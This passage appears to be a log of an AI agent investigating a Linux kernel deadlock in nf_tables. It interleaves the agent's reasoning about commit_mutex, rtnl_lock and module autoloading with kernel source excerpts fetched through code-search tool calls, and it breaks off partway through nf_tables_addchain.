So, the next thought is, what if this `request_module` isn't the problem, it is caused by something else? Is the reproducer triggering an *infinite loop* in `nf_tables`? If `nf_tables_newrule` is stuck in a loop, it holds `commit_mutex` forever. *That's* the likely culprit. And, if `nf_tables_newrule` holds `commit_mutex` and another thread grabs `rtnl_lock` (e.g., from a netdev event) and then tries to grab `commit_mutex` (in `nf_tables_netdev_event`), then that thread will block on `commit_mutex` *while holding `rtnl_lock()`*! Then `crda_timeout_work` tries to take `rtnl_lock()` and it's blocked forever. **That's it!** The root cause is `nf_tables_newrule` (or something inside `nf_tables`) holding `commit_mutex` indefinitely. Now, is there an infinite loop in either `nf_tables_newrule
|
| 69/2 |
2026/05/31 10:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newrule]
Results: map[SourceCode:4195: static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
4196: const struct nlattr * const nla[])
4197: {
4198: struct nftables_pernet *nft_net = nft_pernet(info->net);
4199: struct netlink_ext_ack *extack = info->extack;
4200: unsigned int size, i, n, ulen = 0, usize = 0;
4201: u8 genmask = nft_genmask_next(info->net);
4202: struct nft_rule *rule, *old_rule = NULL;
4203: struct nft_expr_info *expr_info = NULL;
4204: u8 family = info->nfmsg->nfgen_family;
4205: struct nft_flow_rule *flow = NULL;
4206: struct net *net = info->net;
4207: struct nft_userdata *udata;
4208: struct nft_table *table;
4209: struct nft_chain *chain;
4210: struct nft_trans *trans;
4211: u64 handle, pos_handle;
4212: struct nft_expr *expr;
4213: struct nft_ctx ctx;
4214: struct nlattr *tmp;
4215: int err, rem;
4216:
4217: lockdep_assert_held(&nft_net->commit_mutex);
4218:
4219: table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
4220: NETLINK_CB(skb).portid);
4221: if (IS_ERR(table)) {
4222: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
4223: return PTR_ERR(table);
4224: }
4225:
4226: if (nla[NFTA_RULE_CHAIN]) {
4227: chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
4228: genmask);
4229: if (IS_ERR(chain)) {
4230: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
4231: return PTR_ERR(chain);
4232: }
4233:
4234: } else if (nla[NFTA_RULE_CHAIN_ID]) {
4235: chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID],
4236: genmask);
4237: if (IS_ERR(chain)) {
4238: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
4239: return PTR_ERR(chain);
4240: }
4241: } else {
4242: return -EINVAL;
4243: }
4244:
4245: if (nft_chain_is_bound(chain))
4246: return -EOPNOTSUPP;
4247:
4248: if (nla[NFTA_RULE_HANDLE]) {
4249: handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_HANDLE]));
4250: rule = __nft_rule_lookup(net, chain, handle);
4251: if (IS_ERR(rule)) {
4252: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4253: return PTR_ERR(rule);
4254: }
4255:
4256: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
4257: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4258: return -EEXIST;
4259: }
4260: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
4261: old_rule = rule;
4262: else
4263: return -EOPNOTSUPP;
4264: } else {
4265: if (!(info->nlh->nlmsg_flags & NLM_F_CREATE) ||
4266: info->nlh->nlmsg_flags & NLM_F_REPLACE)
4267: return -EINVAL;
4268: handle = nf_tables_alloc_handle(table);
4269:
4270: if (nla[NFTA_RULE_POSITION]) {
4271: pos_handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_POSITION]));
4272: old_rule = __nft_rule_lookup(net, chain, pos_handle);
4273: if (IS_ERR(old_rule)) {
4274: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION]);
4275: return PTR_ERR(old_rule);
4276: }
4277: } else if (nla[NFTA_RULE_POSITION_ID]) {
4278: old_rule = nft_rule_lookup_byid(net, chain, nla[NFTA_RULE_POSITION_ID]);
4279: if (IS_ERR(old_rule)) {
4280: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION_ID]);
4281: return PTR_ERR(old_rule);
4282: }
4283: }
4284: }
4285:
4286: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
4287:
4288: n = 0;
4289: size = 0;
4290: if (nla[NFTA_RULE_EXPRESSIONS]) {
4291: expr_info = kvmalloc_array(NFT_RULE_MAXEXPRS,
4292: sizeof(struct nft_expr_info),
4293: GFP_KERNEL);
4294: if (!expr_info)
4295: return -ENOMEM;
4296:
4297: nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) {
4298: err = -EINVAL;
4299: if (nla_type(tmp) != NFTA_LIST_ELEM)
4300: goto err_release_expr;
4301: if (n == NFT_RULE_MAXEXPRS)
4302: goto err_release_expr;
4303: err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]);
4304: if (err < 0) {
4305: NL_SET_BAD_ATTR(extack, tmp);
4306: goto err_release_expr;
4307: }
4308: size += expr_info[n].ops->size;
4309: n++;
4310: }
4311: }
4312: /* Check for overflow of dlen field */
4313: err = -EFBIG;
4314: if (size >= 1 << 12)
4315: goto err_release_expr;
4316:
4317: if (nla[NFTA_RULE_USERDATA]) {
4318: ulen = nla_len(nla[NFTA_RULE_USERDATA]);
4319: if (ulen > 0)
4320: usize = sizeof(struct nft_userdata) + ulen;
4321: }
4322:
4323: err = -ENOMEM;
4324: rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);
4325: if (rule == NULL)
4326: goto err_release_expr;
4327:
4328: nft_activate_next(net, rule);
4329:
4330: rule->handle = handle;
4331: rule->dlen = size;
4332: rule->udata = ulen ? 1 : 0;
4333:
4334: if (ulen) {
4335: udata = nft_userdata(rule);
4336: udata->len = ulen - 1;
4337: nla_memcpy(udata->data, nla[NFTA_RULE_USERDATA], ulen);
4338: }
4339:
4340: expr = nft_expr_first(rule);
4341: for (i = 0; i < n; i++) {
4342: err = nf_tables_newexpr(&ctx, &expr_info[i], expr);
4343: if (err < 0) {
4344: NL_SET_BAD_ATTR(extack, expr_info[i].attr);
4345: goto err_release_rule;
4346: }
4347:
4348: if (expr_info[i].ops->validate)
4349: nft_validate_state_update(table, NFT_VALIDATE_NEED);
4350:
4351: expr_info[i].ops = NULL;
4352: expr = nft_expr_next(expr);
4353: }
4354:
4355: if (chain->flags & NFT_CHAIN_HW_OFFLOAD) {
4356: flow = nft_flow_rule_create(net, rule);
4357: if (IS_ERR(flow)) {
4358: err = PTR_ERR(flow);
4359: goto err_release_rule;
4360: }
4361: }
4362:
4363: if (!nft_use_inc(&chain->use)) {
4364: err = -EMFILE;
4365: goto err_release_rule;
4366: }
4367:
4368: if (info->nlh->nlmsg_flags & NLM_F_REPLACE) {
4369: if (nft_chain_binding(chain)) {
4370: err = -EOPNOTSUPP;
4371: goto err_destroy_flow_rule;
4372: }
4373:
4374: err = nft_delrule(&ctx, old_rule);
4375: if (err < 0)
4376: goto err_destroy_flow_rule;
4377:
4378: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4379: if (trans == NULL) {
4380: err = -ENOMEM;
4381: goto err_destroy_flow_rule;
4382: }
4383: list_add_tail_rcu(&rule->list, &old_rule->list);
4384: } else {
4385: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4386: if (!trans) {
4387: err = -ENOMEM;
4388: goto err_destroy_flow_rule;
4389: }
4390:
4391: if (info->nlh->nlmsg_flags & NLM_F_APPEND) {
4392: if (old_rule)
4393: list_add_rcu(&rule->list, &old_rule->list);
4394: else
4395: list_add_tail_rcu(&rule->list, &chain->rules);
4396: } else {
4397: if (old_rule)
4398: list_add_tail_rcu(&rule->list, &old_rule->list);
4399: else
4400: list_add_rcu(&rule->list, &chain->rules);
4401: }
4402: }
4403: kvfree(expr_info);
4404:
4405: if (flow)
4406: nft_trans_flow_rule(trans) = flow;
4407:
4408: if (table->validate_state == NFT_VALIDATE_DO)
4409: return nft_table_validate(net, table);
4410:
4411: return 0;
4412:
4413: err_destroy_flow_rule:
4414: nft_use_dec_restore(&chain->use);
4415: if (flow)
4416: nft_flow_rule_destroy(flow);
4417: err_release_rule:
4418: nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE_ERROR);
4419: nf_tables_rule_destroy(&ctx, rule);
4420: err_release_expr:
4421: for (i = 0; i < n; i++) {
4422: if (expr_info[i].ops) {
4423: module_put(expr_info[i].ops->type->owner);
4424: if (expr_info[i].ops->type->release_ops)
4425: expr_info[i].ops->type->release_ops(expr_info[i].ops);
4426: }
4427: }
4428: kvfree(expr_info);
4429:
4430: return err;
4431: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 70/2 |
2026/05/31 10:23 |
llm |
expert |
0m
Model:
Tokens:
input: 80359
output: 41
thoughts: 256
Thoughts: **Module Loading and -EAGAIN: A Deep Dive**
Okay, so `nf_tables_expr_parse` is returning `-EAGAIN`. I need to figure out why. It seems like the error propagates up from `nft_expr_type_get`, specifically if *it* returns `-EAGAIN`. And `nft_expr_type_get` seems to return `-EAGAIN` if `request_module` returns `-EAGAIN`. That's the link.
Let's dig into `nft_expr_type_get`. Ah, here it is:
```c
#ifdef CONFIG_MODULES
if (type == NULL) {
if (nft_expr_type_request_module(net, family, nla) == -EAGAIN)
return ERR_PTR(-EAGAIN);
if (nft_request_module(net, "nft-expr-%.*s",
nla_len(nla),
(char *)nla_data(nla)) == -EAGAIN)
return ERR_PTR(-EAGAIN);
}
#endif
```
Right, if `CONFIG_MODULES` is enabled and `type` is null (meaning the module hasn't been loaded yet), it attempts to load it. The key here is that `nft_request_module` also returns `-EAGAIN`. Wait a second... `nft_request_module` *itself* is returning `-EAGAIN`!
I need to understand *why* `nft_request_module` returns `-EAGAIN`. That's the root of the problem. Time to examine that function more closely.
|
| 71/2 |
2026/05/31 10:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_request_module]
Results: map[SourceCode:1065: __printf(2, 3) int nft_request_module(struct net *net, const char *fmt,
1066: ...)
1067: {
1068: char module_name[MODULE_NAME_LEN];
1069: struct nftables_pernet *nft_net;
1070: struct nft_module_request *req;
1071: va_list args;
1072: int ret;
1073:
1074: va_start(args, fmt);
1075: ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
1076: va_end(args);
1077: if (ret >= MODULE_NAME_LEN)
1078: return 0;
1079:
1080: nft_net = nft_pernet(net);
1081: list_for_each_entry(req, &nft_net->module_list, list) {
1082: if (!strcmp(req->module, module_name)) {
1083: if (req->done)
1084: return 0;
1085:
1086: /* A request to load this module already exists. */
1087: return -EAGAIN;
1088: }
1089: }
1090:
1091: req = kmalloc(sizeof(*req), GFP_KERNEL);
1092: if (!req)
1093: return -ENOMEM;
1094:
1095: req->done = false;
1096: strscpy(req->module, module_name, MODULE_NAME_LEN);
1097: list_add_tail(&req->list, &nft_net->module_list);
1098:
1099: return -EAGAIN;
1100: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 72/2 |
2026/05/31 10:23 |
llm |
expert |
0m
Model:
Tokens:
input: 81575
output: 41
thoughts: 159
Thoughts: **My Analysis of the nftables Module Loading Process**
Okay, hold on a second! I was just tracing through this, and I need to clarify something crucial. It seems my initial understanding was off. The `nft_request_module` function *doesn't* actually trigger `request_module` directly. It's more subtle than that. All it does is add the relevant module to `nft_net->module_list`, and then crucially, it returns `-EAGAIN`. I see now!
So, `nf_tables_newrule` gets this `-EAGAIN` error back. Then, when `nfnetlink_rcv_batch` encounters this error, it intelligently sets the `status` to `|= NFNL_BATCH_REPLAY`. This is my clue. I see what's happening now. The code then proceeds to the `done` label.
And here's where the interesting part begins. Inside `done`, it calls `ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD)`. In this specific context, the `nf_tables` implementation has `ss->abort` set to `nf_tables_abort`. So I really need to drill into the logic of `nf_tables_abort`. I've got to understand how *that* function deals with the `-EAGAIN` signal and autoloading requests. This is where the magic (or the potential problem!) lies. I'll check that function next.
|
| 73/2 |
2026/05/31 10:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_abort]
Results: map[SourceCode:11455: static int nf_tables_abort(struct net *net, struct sk_buff *skb,
11456: enum nfnl_abort_action action)
11457: {
11458: struct nftables_pernet *nft_net = nft_pernet(net);
11459: unsigned int gc_seq;
11460: int ret;
11461:
11462: gc_seq = nft_gc_seq_begin(nft_net);
11463: ret = __nf_tables_abort(net, action);
11464: nft_gc_seq_end(nft_net, gc_seq);
11465:
11466: WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
11467:
11468: /* module autoload needs to happen after GC sequence update because it
11469: * temporarily releases and grabs mutex again.
11470: */
11471: if (action == NFNL_ABORT_AUTOLOAD)
11472: nf_tables_module_autoload(net);
11473: else
11474: nf_tables_module_autoload_cleanup(net);
11475:
11476: mutex_unlock(&nft_net->commit_mutex);
11477:
11478: return ret;
11479: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 74/2 |
2026/05/31 10:23 |
llm |
expert |
0m
Model:
Tokens:
input: 82526
output: 43
thoughts: 36
Thoughts: Okay, here's my take on those thoughts, framed for an expert audience:
**Analyzing the Module Autoload Trigger**
Right, so `nf_tables_abort` immediately triggers the `nf_tables_module_autoload(net)` function. That's the key. Let me see what's happening within `nf_tables_module_autoload`. It’s likely a critical point for determining how and when various Netfilter modules are loaded, especially related to table operations. I need to understand the conditions that cause autoload to occur here. What are the dependencies? Are we missing something? Is there a subtle race condition in how the module dependencies are being handled? This is likely a key area for performance or stability bottlenecks, or potential security vulnerabilities depending on how permissive the autoload is. Time to dig into the implementation...
|
| 75/2 |
2026/05/31 10:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload]
Results: map[SourceCode:11173: static void nf_tables_module_autoload(struct net *net)
11174: {
11175: struct nftables_pernet *nft_net = nft_pernet(net);
11176: struct nft_module_request *req, *next;
11177: LIST_HEAD(module_list);
11178:
11179: list_splice_init(&nft_net->module_list, &module_list);
11180: mutex_unlock(&nft_net->commit_mutex);
11181: list_for_each_entry_safe(req, next, &module_list, list) {
11182: request_module("%s", req->module);
11183: req->done = true;
11184: }
11185: mutex_lock(&nft_net->commit_mutex);
11186: list_splice(&module_list, &nft_net->module_list);
11187: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 76/2 |
2026/05/31 10:23 |
llm |
expert |
0m
Model:
Tokens:
input: 83085
output: 39
thoughts: 1474
Thoughts: **Analyzing the Conntrack and NF Tables Module Autoloading Deadlock**
Okay, so I'm diving into this `nf_tables_module_autoload` function, and it seems like it *drops* `commit_mutex` right before calling `request_module`! This is critical because it means `commit_mutex` isn't held while we're trying to load a module.
Now, if `commit_mutex` isn't held, that *theoretically* would avoid a potential AB-BA deadlock with `rtnl_lock` – which is good. But then I see that `nf_tables_abort` drops `commit_mutex` at the end as well, which makes sense, it's cleaning up.
The interesting piece here is `nf_tables_module_autoload`, dropping `commit_mutex`, *then* calls `request_module`, then reacquires it! and `nf_tables_abort` drops it again. So, `commit_mutex` is definitely *not* held during the `request_module` call. That makes sense, right? We need to unlock while doing the module load to prevent deadlocks.
Then I start thinking about the `nf_ct_netns_do_get` function, because I know that calls `request_module` internally. If that is involved, does it hold `commit_mutex`? After tracing through the code, I see that `nf_ct_netns_do_get` *does* hold `commit_mutex` because it's called from `nft_synproxy_do_init`, which is called from `nft_synproxy_init` , and those are called from `nf_tables_newrule`, and `nf_tables_newrule` *does* hold `commit_mutex`!
So, `request_module("nf_conntrack_bridge")` *is* called with `commit_mutex` held, from what I'm seeing now. I think I have the AB-BA deadlock theory, potentially!
Okay, let's verify that. `nf_tables_newrule` indeed holds `commit_mutex`. It then calls `nf_tables_newexpr`, and that in turn calls the `expr->ops->init` function, which in this case is `nft_synproxy_init`. Then `nft_synproxy_init` calls `nft_synproxy_do_init`, which calls `nf_ct_netns_get(ctx->net, ctx->family)`.
If the family is `NFPROTO_BRIDGE`, it calls `nf_ct_netns_do_get(net, NFPROTO_BRIDGE)`. And it's calling `request_module("nf_conntrack_bridge")` with `commit_mutex` STILL held! That's because `nf_ct_netns_do_get` only drops `nf_ct_proto_mutex` and not `commit_mutex`. Yes, that perfectly aligns with the potential deadlock!
I need to confirm that `ctx->family` *can* be `NFPROTO_BRIDGE` in the reproducer, though. Let's revisit the test case. The reproducer creates a table with `NFPROTO_INET` (1). But wait! If the family is `NFPROTO_INET`, `nft_synproxy_do_init` won't call `nf_ct_netns_do_get` and `request_module("nf_conntrack_bridge")`!
No, let's back up, I see that `nf_ct_netns_get` is called *before* the switch statement. If `ctx->family` is `NFPROTO_INET`, `nf_ct_netns_get` calls `nf_ct_netns_inet_get(net)`, which then calls `nf_ct_netns_do_get` for both `NFPROTO_IPV4` and `NFPROTO_IPV6`. But neither of those calls `request_module("nf_conntrack_bridge")`!
So, for `NFPROTO_INET`, the `request_module` *isn't* called by `nf_ct_netns_get`. But where is `request_module` called? What if I'm missing some other path? If the reproducer uses `NFPROTO_INET`, the `request_module("nf_conntrack_bridge")` isn't called!
I know I have the bytes for the table definition. Let's confirm again... The family is `01`, which is `NFPROTO_INET`, `NFPROTO_BRIDGE` is `07`. So, the reproducer uses `NFPROTO_INET`. Then, where is the `request_module` called from
|
| 77/2 |
2026/05/31 10:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:nf_register_net_hooks]
Results: map[SourceCode: 584: int nf_register_net_hooks(struct net *net, const struct nf_hook_ops *reg,
585: unsigned int n)
586: {
587: unsigned int i;
588: int err = 0;
589:
590: for (i = 0; i < n; i++) {
591: err = nf_register_net_hook(net, ®[i]);
592: if (err)
593: goto err;
594: }
595: return err;
596:
597: err:
598: if (i > 0)
599: nf_unregister_net_hooks(net, reg, i);
600: return err;
601: }
SourceFile:net/netfilter/core.c]
|
| 78/2 |
2026/05/31 10:24 |
llm |
expert |
0m
Model:
Tokens:
input: 85889
output: 40
thoughts: 20
Thoughts: Here's a summary of my understanding, framed as my own thoughts:
**Dissecting the Netfilter Registration Process**
Okay, so I'm looking at `nf_register_net_hook`. My initial thought is to dive deeper into how this registration process *really* works. I see it calls `__nf_register_net_hook`, which immediately piques my interest. The double underscore suggests a lower-level function, maybe one that handles the core mechanics of hooking into the network stack. I'm guessing `nf_register_net_hook` is likely the public-facing API, perhaps managing arguments or error handling, while `__nf_register_net_hook` is the workhorse. I'm going to want to understand what data structures are being passed, how the hook is inserted into the appropriate netfilter tables, and what sort of concurrency issues are addressed, as these are critical considerations. I also want to check for any locking primitives being used.
|
| 79/2 |
2026/05/31 10:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:__nf_register_net_hook]
Results: map[SourceCode: 393: static int __nf_register_net_hook(struct net *net, int pf,
394: const struct nf_hook_ops *reg)
395: {
396: struct nf_hook_entries *p, *new_hooks;
397: struct nf_hook_entries __rcu **pp;
398: int err;
399:
400: switch (pf) {
401: case NFPROTO_NETDEV:
402: #ifndef CONFIG_NETFILTER_INGRESS
403: if (reg->hooknum == NF_NETDEV_INGRESS)
404: return -EOPNOTSUPP;
405: #endif
406: #ifndef CONFIG_NETFILTER_EGRESS
407: if (reg->hooknum == NF_NETDEV_EGRESS)
408: return -EOPNOTSUPP;
409: #endif
410: if ((reg->hooknum != NF_NETDEV_INGRESS &&
411: reg->hooknum != NF_NETDEV_EGRESS) ||
412: !reg->dev || dev_net(reg->dev) != net)
413: return -EINVAL;
414: break;
415: case NFPROTO_INET:
416: if (reg->hooknum != NF_INET_INGRESS)
417: break;
418:
419: err = nf_ingress_check(net, reg, NF_INET_INGRESS);
420: if (err < 0)
421: return err;
422: break;
423: }
424:
425: pp = nf_hook_entry_head(net, pf, reg->hooknum, reg->dev);
426: if (!pp)
427: return -EINVAL;
428:
429: mutex_lock(&nf_hook_mutex);
430:
431: p = nf_entry_dereference(*pp);
432: new_hooks = nf_hook_entries_grow(p, reg);
433:
434: if (!IS_ERR(new_hooks)) {
435: hooks_validate(new_hooks);
436: rcu_assign_pointer(*pp, new_hooks);
437: }
438:
439: mutex_unlock(&nf_hook_mutex);
440: if (IS_ERR(new_hooks))
441: return PTR_ERR(new_hooks);
442:
443: #ifdef CONFIG_NETFILTER_INGRESS
444: if (nf_ingress_hook(reg, pf))
445: net_inc_ingress_queue();
446: #endif
447: #ifdef CONFIG_NETFILTER_EGRESS
448: if (nf_egress_hook(reg, pf))
449: net_inc_egress_queue();
450: #endif
451: nf_static_key_inc(reg, pf);
452:
453: BUG_ON(p == new_hooks);
454: nf_hook_entries_free(p);
455: return 0;
456: }
SourceFile:net/netfilter/core.c]
|
| 80/2 |
2026/05/31 10:24 |
llm |
expert |
0m
Model:
Tokens:
input: 87113
output: 42
thoughts: 584
Thoughts: **Analyzing Potential Deadlocks in Netfilter Table Operations**
Okay, so I'm trying to figure out this potential deadlock situation. First, I was looking at `nf_hook_entries_free` and how it interacts with `call_rcu` or `kfree`. That seemed straightforward enough. Then, I got curious about `nf_static_key_inc` and whether it could block. It calls `static_key_slow_inc`, which takes the `jump_label_mutex`. I wondered if `jump_label_mutex` could block the `rtnl_lock` – that's a classic deadlock scenario. But no, that's not the case.
Then, I started thinking about module autoloading, and things got more interesting. Specifically, what happens if `request_module` gets called within `nft_expr_type_get`? I see that `nft_expr_type_get` *does* call `request_module("nft-expr-synproxy")`. But wait! It looks like `nft_request_module` itself doesn't actually call `request_module` directly, it adds the module to `nft_net->module_list` and returns `-EAGAIN`. So then `nf_tables_newrule` returns `-EAGAIN` too. The `nfnetlink_rcv_batch` function then aborts the batch and calls `nf_tables_abort`, with the `NFNL_ABORT_AUTOLOAD` flag.
`nf_tables_abort` *does* call `nf_tables_module_autoload`, and this is where it gets critical. `nf_tables_module_autoload` drops the `commit_mutex`, calls `request_module`, *and then* re-takes the `commit_mutex`. So, crucially, `request_module` is called without the `commit_mutex` held! That means the AB-BA deadlock between `commit_mutex` and `rtnl_lock` isn't a problem. We're in the clear there.
But this brings up another question... if `request_module` isn't protected by `commit_mutex` when called, what *is* holding `rtnl_lock`? Or conversely, what *is* holding `commit_mutex`? I need to make sure there are no other places where `request_module` might be called in a potentially problematic way.
Then I realized that the reproducer has a chain with `NFTA_CHAIN_HOOK` so I look at the values that are in the hook.
```
NFTA_CHAIN_HOOK:
NFTA_HOOK_PRIORITY: 32 65 8a eb
NFTA_HOOK_HOOKNUM: 1
```
Now, I was looking at `nf_tables_newchain`, thinking it called `nf_tables_register_hook`, but that's not quite right. It looks like it *adds* the chain to the table, and it is `nf_tables_commit` that then calls `nf_tables_commit_chain_prepare` which then calls `nf_tables_register_hook`? Wait no, `nf_tables_commit` calls `nf_tables_commit_chain` which makes the chain visible. So where *is* `nf_tables_register_hook` called from? I need to go back and check `nf_tables_newchain`.
|
| 81/2 |
2026/05/31 10:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newchain]
Results: map[SourceCode:3011: static int nf_tables_newchain(struct sk_buff *skb, const struct nfnl_info *info,
3012: const struct nlattr * const nla[])
3013: {
3014: struct nftables_pernet *nft_net = nft_pernet(info->net);
3015: struct netlink_ext_ack *extack = info->extack;
3016: u8 genmask = nft_genmask_next(info->net);
3017: u8 family = info->nfmsg->nfgen_family;
3018: struct nft_chain *chain = NULL;
3019: struct net *net = info->net;
3020: const struct nlattr *attr;
3021: struct nft_table *table;
3022: u8 policy = NF_ACCEPT;
3023: struct nft_ctx ctx;
3024: u64 handle = 0;
3025: u32 flags = 0;
3026:
3027: lockdep_assert_held(&nft_net->commit_mutex);
3028:
3029: table = nft_table_lookup(net, nla[NFTA_CHAIN_TABLE], family, genmask,
3030: NETLINK_CB(skb).portid);
3031: if (IS_ERR(table)) {
3032: NL_SET_BAD_ATTR(extack, nla[NFTA_CHAIN_TABLE]);
3033: return PTR_ERR(table);
3034: }
3035:
3036: chain = NULL;
3037: attr = nla[NFTA_CHAIN_NAME];
3038:
3039: if (nla[NFTA_CHAIN_HANDLE]) {
3040: handle = be64_to_cpu(nla_get_be64(nla[NFTA_CHAIN_HANDLE]));
3041: chain = nft_chain_lookup_byhandle(table, handle, genmask);
3042: if (IS_ERR(chain)) {
3043: NL_SET_BAD_ATTR(extack, nla[NFTA_CHAIN_HANDLE]);
3044: return PTR_ERR(chain);
3045: }
3046: attr = nla[NFTA_CHAIN_HANDLE];
3047: } else if (nla[NFTA_CHAIN_NAME]) {
3048: chain = nft_chain_lookup(net, table, attr, genmask);
3049: if (IS_ERR(chain)) {
3050: if (PTR_ERR(chain) != -ENOENT) {
3051: NL_SET_BAD_ATTR(extack, attr);
3052: return PTR_ERR(chain);
3053: }
3054: chain = NULL;
3055: }
3056: } else if (!nla[NFTA_CHAIN_ID]) {
3057: return -EINVAL;
3058: }
3059:
3060: if (nla[NFTA_CHAIN_POLICY]) {
3061: if (chain != NULL &&
3062: !nft_is_base_chain(chain)) {
3063: NL_SET_BAD_ATTR(extack, nla[NFTA_CHAIN_POLICY]);
3064: return -EOPNOTSUPP;
3065: }
3066:
3067: if (chain == NULL &&
3068: nla[NFTA_CHAIN_HOOK] == NULL) {
3069: NL_SET_BAD_ATTR(extack, nla[NFTA_CHAIN_POLICY]);
3070: return -EOPNOTSUPP;
3071: }
3072:
3073: policy = ntohl(nla_get_be32(nla[NFTA_CHAIN_POLICY]));
3074: switch (policy) {
3075: case NF_DROP:
3076: case NF_ACCEPT:
3077: break;
3078: default:
3079: return -EINVAL;
3080: }
3081: }
3082:
3083: if (nla[NFTA_CHAIN_FLAGS])
3084: flags = ntohl(nla_get_be32(nla[NFTA_CHAIN_FLAGS]));
3085: else if (chain)
3086: flags = chain->flags;
3087:
3088: if (flags & ~NFT_CHAIN_FLAGS)
3089: return -EOPNOTSUPP;
3090:
3091: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
3092:
3093: if (chain != NULL) {
3094: if (chain->flags & NFT_CHAIN_BINDING)
3095: return -EINVAL;
3096:
3097: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
3098: NL_SET_BAD_ATTR(extack, attr);
3099: return -EEXIST;
3100: }
3101: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
3102: return -EOPNOTSUPP;
3103:
3104: flags |= chain->flags & NFT_CHAIN_BASE;
3105: return nf_tables_updchain(&ctx, genmask, policy, flags, attr,
3106: extack);
3107: }
3108:
3109: return nf_tables_addchain(&ctx, family, policy, flags, extack);
3110: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 82/2 |
2026/05/31 10:24 |
llm |
expert |
0m
Model:
Tokens:
input: 90098
output: 42
thoughts: 32
Thoughts: Here's my thought process, as if I were considering this code:
**Analyzing `nf_tables_addchain` and Hook Registration**
Okay, so I'm seeing that `nf_tables_addchain` is calling `nf_tables_register_hook`. That seems like a key connection point. My first instinct is to double-check that assumption. I'll need to confirm the call relationship between those two functions. Let's delve into the `nf_tables_addchain` function itself. Understanding what `nf_tables_addchain` *does* is going to be crucial to understanding how this hook registration is being utilized and what it means for the overall netfilter table setup. I need to figure out what data is being passed, what the context is, and why this hook registration is happening at this stage. I'll need to trace the arguments and return values to verify this relationship and better grasp its implications.
|
| 83/2 |
2026/05/31 10:24 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_addchain]
Results: map[SourceCode:2651: static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 policy,
2652: u32 flags, struct netlink_ext_ack *extack)
2653: {
2654: const struct nlattr * const *nla = ctx->nla;
2655: struct nft_table *table = ctx->table;
2656: struct nft_base_chain *basechain;
2657: struct net *net = ctx->net;
2658: char name[NFT_NAME_MAXLEN];
2659: struct nft_rule_blob *blob;
2660: struct nft_trans *trans;
2661: struct nft_chain *chain;
2662: int err;
2663:
2664: if (nla[NFTA_CHAIN_HOOK]) {
2665: struct nft_stats __percpu *stats = NULL;
2666: struct nft_chain_hook hook = {};
2667:
2668: if (table->flags & __NFT_TABLE_F_UPDATE)
2669: return -EINVAL;
2670:
2671: if (flags & NFT_CHAIN_BINDING)
2672: return -EOPNOTSUPP;
2673:
2674: err = nft_chain_parse_hook(net, NULL, nla, &hook, family, flags,
2675: extack);
2676: if (err < 0)
2677: return err;
2678:
2679: basechain = kzalloc(sizeof(*basechain), GFP_KERNEL_ACCOUNT);
2680: if (basechain == NULL) {
2681: nft_chain_release_hook(&hook);
2682: return -ENOMEM;
2683: }
2684: chain = &basechain->chain;
2685:
2686: if (nla[NFTA_CHAIN_COUNTERS]) {
2687: stats = nft_stats_alloc(nla[NFTA_CHAIN_COUNTERS]);
2688: if (IS_ERR_PCPU(stats)) {
2689: nft_chain_release_hook(&hook);
2690: kfree(basechain);
2691: return PTR_ERR_PCPU(stats);
2692: }
2693: rcu_assign_pointer(basechain->stats, stats);
2694: }
2695:
2696: err = nft_basechain_init(basechain, family, &hook, flags);
2697: if (err < 0) {
2698: nft_chain_release_hook(&hook);
2699: kfree(basechain);
2700: free_percpu(stats);
2701: return err;
2702: }
2703: if (stats)
2704: static_branch_inc(&nft_counters_enabled);
2705: } else {
2706: if (flags & NFT_CHAIN_BASE)
2707: return -EINVAL;
2708: if (flags & NFT_CHAIN_HW_OFFLOAD)
2709: return -EOPNOTSUPP;
2710:
